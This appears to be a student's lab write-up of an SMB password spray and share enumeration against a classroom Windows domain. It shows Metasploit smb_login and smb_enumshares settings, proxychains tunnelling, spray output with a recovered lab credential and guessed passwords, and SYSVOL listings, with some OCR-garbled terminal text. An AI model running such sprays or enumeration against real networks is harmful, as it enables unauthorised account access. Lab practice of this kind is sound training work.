## Internal Password Spray

This report reviews taken to enumerate target info over SMB. SMB is a data transfer protocol most implemented on Windows systems. While its primary purpose is file transfer, it can also be leveraged to perform credential sprays and execute commands on the target system. There three main versions of SMB. SMBv1 was completely insecure. SMBv2 was more secure. The current version, SMBv3, is very secure.

```
agent22@ks5: ~

login as: agent22
agent22@192.168.29.128's password:

(agent22@ ks5)-[~]
```

The first step I took was to connect to the school VPN, then build my SSH tunnels. This started with connecting to the VPN, then building the SSH tunnel from my host to my kali box.

```
(agent22% ks5)-[~/Documents]
source techlabConnect.sh
```

I then ran my script for building the two SSH tunnels which get my kali box behind the firewall.

```
1 S agent22
                1915
                                            3035 -
                                                        11:59 ?
                                                                                        T -L42000:192.168.168.161
:22030 team2@127.0.0.1 -p32000
                                                                                        T -D52000 vagrant@127.0.0
                                                        11:59 ?
                                                                        00:00:00
1 S agent22
                1917
                              0
                                 80
                                            3035 -
.1 -p42000
0 S agent22
                1961
                        1434 0 80
                                       0 - 1557 -
                                                        12:00 pts/0
                                                                        00:00:00 grep -- color=auto ssh -
  -(agent22⊗ks5)-[~/Documents]
State
         Recv-Q
                   Send-Q
                                Local Address:Port
                                                           Peer Address:Port
                                                                                Process
                                                                                 users:(("ssh",pid=1915,fd=5))
LISTEN
        0
                   128
                                     127.0.0.1:42000
                                                                0.0.0.0:*
                                       0.0.0.0:ssh
LISTEN
         0
                   128
                                                                0.0.0.0:*
                                     127.0.0.1:52000
LISTEN
                   128
                                                                0.0.0.0:*
                                                                                 users:(("ssh",pid=1917,fd=5))
LISTEN
         0
                                                                0.0.0.0:*
                   128
                                     127.0.0.1:32000
                                         [::1]:42000
                                                                                 users:(("ssh",pid=1915,fd=4))
LISTEN
                                                                    [::]:*
         0
                   128
LISTEN
         0
                                          [::]:ssh
                                                                    [::]:*
LISTEN
                   128
                                         [::1]:52000
                                                                                 users:(("ssh",pid=1917,fd=4))
                                         [::1]:32000
LISTEN
```

As you can see from the above screenshot, both tunnels were built successfully.

```
·(agent22%ks5)-[~/Documents]
 -$ proxychains nmap -Pn 192.168.2.50
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86 64-linux-gnu/libproxychains.so.4
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-21 12:01 MST
Nmap scan report for 192.168.2.50
Host is up (0.054s latency).
Not shown: 988 closed tcp ports (conn-refused)
         STATE SERVICE
PORT
53/tcp
         open domain
88/tcp
        open kerberos-sec
135/tcp open msrpc
139/tcp
        open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open
              globalcatLDAP
3269/tcp open
              globalcatLDAPssl
```

I then ran an Nmap scan of my target to verify that I had access and that proxychains was working.

```
<u>nsf6</u> > search auxiliary/scanner/smb
Matching Modules
                                                                                              Disclosure Date Rank Check Description
            auxiliary/scanner/smb/impacket/dcomexec
auxiliary/scanner/smb/impacket/secretsdump
auxiliary/scanner/smb/smb_ms17_010
auxiliary/scanner/smb/psexec_loggedin_users
auxiliary/scanner/smb/smb_enumusers_domain
auxiliary/scanner/smb/smb_enumusers_domain
                                                                                              2018-03-19
                                                                                                                             normal No
normal No
                                                                                                                                                         DCOM Exec
                                                                                                                                                         MS17-010 SMB RCE Detection
Microsoft Windows Authenticated Logged In Users Enumeration
SMB Domain User Enumeration
                                                                                                                              normal No
normal No
                                                                                                                             normal No
                                                                                                                                                         SMB Group Policy Preference Saved Passwords Enumeration 
SMB Login Check Scanner
                                                 b/smb_enum_gpp
b/smb_login
b/smb_lookupsid
                                                                                                                             normal No
                                                                                                                                                         SMB SID User Enumeration (LookupSid)
SMB Session Pipe Auditor
SMB Session Pipe DCERPC Auditor
                                                   /pipe_auditor
                                                  b/pipe_dcerpc_auditor
b/smb_enumshares
                                                                                                                              normal
                                                                                                                                                          SMB Share Enumeration
                                                                                                                                                         SMB User Enumeration (SAM EnumUsers)
SMB Version Detection
                                                 b/smb_enumusers
b/smb_version
                                                                                                                              normal No
                                                  /smb_uninit_cred
```

Next, I started Metasploit. I then performed a search to see what types of SMB scanners were available.

```
msf6 auxiliary(sc
                                                     smb/smb_login) > show options
 Module options (auxiliary/scanner/smb/smb_login):
                                                  Current Setting
                                                                                                                                                                      Abort the run when an account lockout is detected
Try blank passwords for all users
How fast to bruteforce, from 0 to 5
Try each user/password couple stored in the current database
Add all passwords in the current database to the list
Add all users in the current database to the list
Skip existing credentials stored in the current database (Accepted: no
      ABORT_ON_LOCKOUT
BLANK_PASSWORDS
BRUTEFORCE_SPEED
                                                  false
false
     DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
DB_SKIP_EXISTING
                                                  false
false
                                                                                                                                                no
                                                  false
                                                                                                                                                no
no
                                                                                                                                                                      ne, user, user@realm)
Enable detection of systems accepting any authentication
Detect if domain is required for the specified user
       DETECT_ANY_AUTH
DETECT_ANY_DOMAIN
PASS_FILE
                                                  false
                                                  /home/agent22/Documents/blue/passwordLi
st/passwordList_short
                                                                                                                                                                       File containing passwords, one per line
                                                                                                                                                                      Respect a username that contains a domain name.

A proxy chain of format type:host:port[,type:host:port][...]
Record guest-privileged random logins to the database
The target host(s), see https://github.com/rapid7/metasploit-framework
       PRESERVE DOMAINS
       RECORD GUEST
                                                  false
192.168.3.80
                                                                                                                                                                       The target host(s), se/wiki/Using-Metasploit
```

I then selected the smb\_login module and configured it as shown above. The smb\_login module is used to perform a password spray over SMB.

```
ABORT_ON_LOCKOUT
                                                                                                                                                          Abort the run when an account lockout is detected
                                                                                                                                                         Try blank passwords for all users

How fast to bruteforce, from 0 to 5

Try each user/password couple stored in the current database

Add all passwords in the current database to the list

Add all users in the current database to the list
 BLANK PASSWORDS
                                          false
BRUTEFORCE_SPEED
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
                                                                                                                                   yes
no
                                          false
                                          false
false
                                                                                                                                                         Add act users in the Current database to the fist
Skip existing credentials stored in the current database (Accepted: no
ne, user, userBrealm)
Enable detection of systems accepting any authentication
Detect if domain is required for the specified user
File containing passwords, one per line
 DB_SKIP_EXISTING
DETECT_ANY_AUTH
DETECT_ANY_DOMAIN
PASS_FILE
                                          false
/home/agent22/Documents/blue/passwordLi
                                          st/passwordList_short
 PRESERVE_DOMAINS
                                                                                                                                                         Respect a username that contains a domain name.
                                                                                                                                                        Respect a username that contains a domain name.
A proxy chain of format type:host:port[,type:host:port][...]
Record guest-privileged random logins to the database
The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
The SMB service port (TCP)
The Windows domain to use for authentication
The password for the specified username
The username to authenticate as
 Proxies
 RECORD_GUEST
                                         false
192.168.3.80
 RHOSTS
                                                                                                                                    ves
 RPORT
 SMBDomain
                                          windomain
 SMBPass
SMBUser
 STOP_ON_SUCCESS
THREADS
USERPASS_FILE
                                                                                                                                                         Stop guessing when a credential works for a host
The number of concurrent threads (max one per host)
File containing users and passwords separated by space, one pair per l
                                         false
                                                                                                                                   yes
yes
                                                                                                                                                         Try the username as the password for all users File containing usernames, one per line
USER_AS_PASS
                                         VERBOSE
                                                                                                                                                        Whether to print output for all attempts
```

When I ran the module it failed, so I reconfigured the module as shown above.

I then tried to run the exploit three times. I double checked my settings against those of my team and confirmed the module was configured correctly.

```
Module options (auxiliary/scanner/smb/smb_login):
                                                              Current Setting
                                                                                                                                                                                                  Required Description
                                                                                                                                                                                                                                Abort the run when an account lockout is detected
Try blank passwords for all users
How fast to bruteforce, from 0 to 5
Try each user/password couple stored in the current database
Add all passwords in the current database to the list
Add all users in the current database to the list
Skip existing credentials stored in the current database (Accepted: none, user, userfirealm)
       ABORT_ON_LOCKOUT
BLANK_PASSWORDS
BRUTEFORCE_SPEED
                                                               false
       DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
DB_SKIP_EXISTING
                                                                                                                                                                                                                                   user&realm)
       DETECT_ANY_AUTH
DETECT_ANY_DOMAIN
PASS_FILE
                                                                                                                                                                                                                                useroreacum)
Enable detection of systems accepting any authentication
Detect if domain is required for the specified user
File containing passwords, one per line
                                                               false
/home/agent22/Documents/blue/passwordList_k
                                                                                                                                                                                                                              Respect a username that contains a domain name.

A proxy chain of format type:host:port[,type:host:port][...]
Record guest-privileged random logins to the database
The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
The SMB service port (TCP)
The Windows domain to use for authentication
The password for the specified username
The username to authenticate as
Stop guessing when a credential works for a host
The number of concurrent threads (max one per host)
File containing users and passwords separated by space, one pair per line
Try the username as the password for all users
File containing usernames, one per line
        PRESERVE_DOMAINS
        Proxies
RECORD_GUEST
RHOSTS
                                                               false
192.168.2.80
        RPORT
                                                               445
windomain
      RPORT
SMBDomain
SMBPass
SMBUser
STOP_ON_SUCCESS
THREADS
USERPASS_FILE
USER_AS_PASS
USER_FILE
                                                              false
                                                               usernameList_lowercase
true
                                                               /home/agent22/Documents/blue/usernameLists/
        VERBOSE
                                                                                                                                                                                                                               Whether to print output for all attempts
```

I next changed a few more settings as shown above.

```
192.168.2.80:445
                              - 192.168.2.80:445 - Failed: 'windomain\andre.m:vlino',
                              - 192.168.2.80:445 - Failed: 'windomain\andre.m:mp'
    192.168.2.80:445
                             - 192.168.2.80:445 - Failed: 'windomain\brailee.ogden:',
    192.168.2.80:445
                             - 192.168.2.80:445 - Failed: 'windomain\brailee.ogden:qdDBPassword7',
    192.168.2.80:445
                             - 192.168.2.80:445 - Success: 'windomain\brailee.ogden:Winter2022' - 192.168.2.80:445 - Failed: 'windomain\brailee_ogden:', - 192.168.2.80:445 - Failed: 'windomain\brailee_ogden:qdDBPassword7',
[+] 192.168.2.80:445
    192.168.2.80:445
    192.168.2.80:445
                             - 192.168.2.80:445 - Failed: 'windomain\brailee_ogden:Winter2022',
    192.168.2.80:445
                             - 192.168.2.80:445 - Failed: 'windomain\brailee_ogden:Ensign123'
    192.168.2.80:445
                             - 192.168.2.80:445 - Failed: 'windomain\brailee_ogden:Ensign1!',
- 192.168.2.80:445 - Failed: 'windomain\brailee_ogden:winter2021'
    192.168.2.80:445
    192.168.2.80:445
                             - 192.168.2.80:445 - Failed: 'windomain\brailee_ogden:winter2022
    192.168.2.80:445
                              - 192.168.2.80:445 - Failed: 'windomain\brailee_ogden:Winter2021',
    192.168.2.80:445
                              - 192.168.2.80:445 - Failed: 'windomain\brailee_ogden:vagrant',
    192.168.2.80:445
```

This finally worked. However, I believe the issue was that the target was being overwhelmed by my fellow students' requests. The exploit worked only at the end of class when my team was done bombarding the target.

```
sf6 > search -s name auxiliary/scanner smb
Matching Modules
                                                                                         Disclosure Date Rank
                                                                                                                         Check Description
       Name
       auxiliary/scanner/http/citrix_dir_traversal
                                                                                          2019-12-17
                                                                                                               normal No
                                                                                                                                  Citrix ADC (NetScaler) Directory Traversal
         auxiliary/scanner/smb/impacket/dcomexec
                                                                                          2018-03-19
                                                                                                               normal No
                                                                                                                                  DCOM Exec
                                smb/impacket/secretsdump
                               /smb/smb_ms17_010
/smb/psexec_loggedin_users
                                                                                                                                  MS17-010 SMB RCE Detection
Microsoft Windows Authenticated Logged In
                                                                                                               normal No
Jsers Enumeration
        auxiliary/scanner/dcerpc/petitpotam
auxiliary/scanner/sap/sap_smb_relay
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing
                                                                                                               normal
normal
                                                                                                                                  SAP SMB Relay Abuse
SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Dir
ectories Information Disclosure
8 auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence
ile Existence check
                                                                                                                                  SAP SOAP RFC PFL CHECK OS FILE EXISTENCE F
        auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir
                                                                                                               normal No
                                                                                                                                  SAP SOAP RFC RZL READ DIR LOCAL Directory
Contents Listing

10 auxiliary/scanner/smb/smb_enumusers_domain
11 auxiliary/scanner/smb/smb_enum_gpp
                                                                                                                                  SMB Domain User Enumeration
SMB Group Policy Preference Saved Password
                                                                                                               normal No
```

At home I performed another search in Metasploit to see what other modules were available.

I selected and configured the smb\_enumusers\_domain module. This module attempts to enumerate all the domain users.

```
msf6 auxiliary(scanner/smb/smb_enumusers_domain) > exploit

Login Failed: Unable to negotiate SMB1 with the remote host: Not a valid SMB packet
[*] 192.168.2.50:445 -
[*] 192.168.2.50: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

My attempts to exploit this module failed. It appears that it only works against SMBv1 hosts or hosts which are willing to negotiate down to SMBv1. SMBv1 had much worse security than the current SMBv3

```
msf6 auxiliary(
                                                  ) > show options
Module options (auxiliary/scanner/smb/smb_enumshares):
                       Current Setting Required Description
                                                        0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt) (Accepted: 0, 1, 2, 3) Max number of subdirectories to spider
   LogSpider
   MaxDepth
                                                        The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit The Windows domain to use for authentication
   RHOSTS
   SMBDomain
                       windomain.local
   SMBPass
                                                         The password for the specified username
   SMBUser
                       brailee.ogden
                                                        The username to authenticate as
Show detailed information when spidering
   ShowFiles
    SpiderProfiles
                                                         Spider only user profiles when share is a disk share
                                                        Spider shares recursively
The number of concurrent threads (max one per host)
    SpiderShares
                       true
    THREADS
```

Next, I selected and configured the smb\_enumshares module. This module enumerates all shares running on a box recursively (depending on the configuration).

```
msf6 auxiliarv(
                                                               ) > exploit
     192.168.2.50:139
                                        - Starting module
     192.168.2.50:139
192.168.2.50:445
                                       - Login Failed: The SMB server did not reply to our request - Starting module
                                          peer_native_os is only available with SMB1 (current version: SMB3) peer_native_lm is only available with SMB1 (current version: SMB3) ADMIN$ - (DISK|SPECIAL) Remote Admin
    192.168.2.50:445
192.168.2.50:445
                                       - ADMIN$ - (DISK)SPECIAL) Remote Admint - C$ - (DISK)SPECIAL) Default share - IPC$ - (IPC|SPECIAL) Remote IPC - NETLOGON - (DISK) Logon server share - SYSVOL - (DISK) Logon server share - Skipping ADMIN$ - Skipping IPC$
    192.168.2.50:445
192.168.2.50:445
     192.168.2.50:445
    192.168.2.50:445
192.168.2.50:445
+] 192.168.2.50:445
                                            \\windomain\SYSVOL
 Type Name
                                    Created
                                                                               Accessed
                                                                                                                          Written
                                                                                                                                                                    Changed
                                                                                                                                                                                                               Size
 DIR windomain.local 2022-01-03T22:44:10-07:00 2022-01-03T22:44:10-07:00 2022-01-03T22:44:27-07:00
+ 192.168.2.50:445
                                       - \\windomain\SYSVOL\windomain.local
                                                                                                                                                              Changed
```

```
-(agent22@ks5)-[~/.msf4/loot]
                   $ cat <u>20220221122842_default_192.168.2.50_smb.enumshares_150284.txt</u>
   192.168.2.50\SYSVOL\windomain.local
   192.168.2.50 \verb|\SYSVOL\windomain.local\DfsrPrivate|
   192.168.2.50\SYSVOL\windomain.local\Policies
   192.168.2.50\SYSVOL\windomain.local\scripts
   192.168.2.50 \land SYSVOL \land windown ain. local \land Policies \land \{31B2F340-016D-11D2-945F-00C04FB984F9\} \land GPT.INI \land Policies \land \{31B2F340-016D-11D2-945F-00C04FB984F9\} \land \{31B2F5-00C04FB984F9\} \land \{31B2F5-00C04F5-00C04FF5-00C04FF5\} \land \{31B2F5-00C04FF5-00C04FF5-00C04FF5-00C04FF5-00C04FF5-00C04FF5-00C04FF5-00C04F
   192.168.2.50 \\ \verb|SYSVOL| windomain.local| Policies| \\ \{31B2F340-016D-11D2-945F-00C04FB984F9\} \\ \\ |MACHINE| Policies| \\ \{31B2F340-016D-11D2-945F-00C04FB984F9\} \\ |MACHINE| Policies| \\ |
   192.168.2.50 \\ \text{ONSYSVOL} \\ \text{windomain.local} \\ \text{Policies} \\ \text{\{31B2F340-016D-11D2-945F-00C04FB984F9\}} \\ \text{VUSER} \\ 
     192.168.2.50\SYSVOL\windomain.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI
   192.168.2.50\SYSVOL\windomain.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE
     192.168.2.50\SYSVOL\windomain.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER
   192.168.2.50 \S YSVOL \ windomain.local \ Policies \ \{31B2F340-016D-11D2-945F-00C04FB984F9\} \ MACHINE \ Microsoft \\ 192.168.2.50 \S YSVOL \ windomain.local \ Policies \ \{31B2F340-016D-11D2-945F-00C04FB984F9\} \ MACHINE \ Registry.policies \ MACHINE \ MACHIN
192.168.2.50\SYSVOL\windomain.local\Policies\{168.7360-610F-1102-945F-00C04FB984F9}\MACHINE\Microsoft
192.168.2.50\SYSVOL\windomain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT
192.168.2.50\SYSVOL\windomain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT
192.168.2.50\SYSVOL\windomain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT
192.168.2.50\SYSVOL\windomain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
```

This module ran successfully as shown by the above two screenshots.

```
msf6 auxiliary(
                                                        ) > show options
Module options (auxiliary/scanner/smb/smb_enumshares):
    Name
                          Current Setting Required Description
                                                               O = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt) (Accepted: 0, 1, 2, 3)

Max number of subdirectories to spider

The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

The Windows domain to use for authentication
    LogSpider
    MaxDepth
                                                  yes
                          192.168.2.50
    RHOSTS
                                                  ves
    SMBDomain
                          windomain.local
                                                               The password for the specified username The username to authenticate as
    SMBPass
                          Winter2022
    SMBUser
                          brailee.ogden
                                                 no
                                                                Show detailed information when spidering
    ShowFiles
    SpiderProfiles
                          false
                                                 no
                                                                Spider shares recursively
    SpiderShares
                                                                The number of concurrent threads (max one per host)
    THREADS
                                                  yes
```

In an attempt to enumerate the \$ADMIN and \$IPC shares I changed the SpiderProfiles setting to false.

```
(agent22@ ks5)-[~/.msf4/loot]
$ diff -s 20220221122842_default_192.168.2.50_smb.enumshares_150284.txt 20220221123832_default_192.168.2.50_smb.enumshares_0
36967.txt
Files 20220221122842_default_192.168.2.50_smb.enumshares_150284.txt and 20220221123832_default_192.168.2.50_smb.enumshares_036
967.txt are identical
```

However, the edited exploit resulted in the exact same data.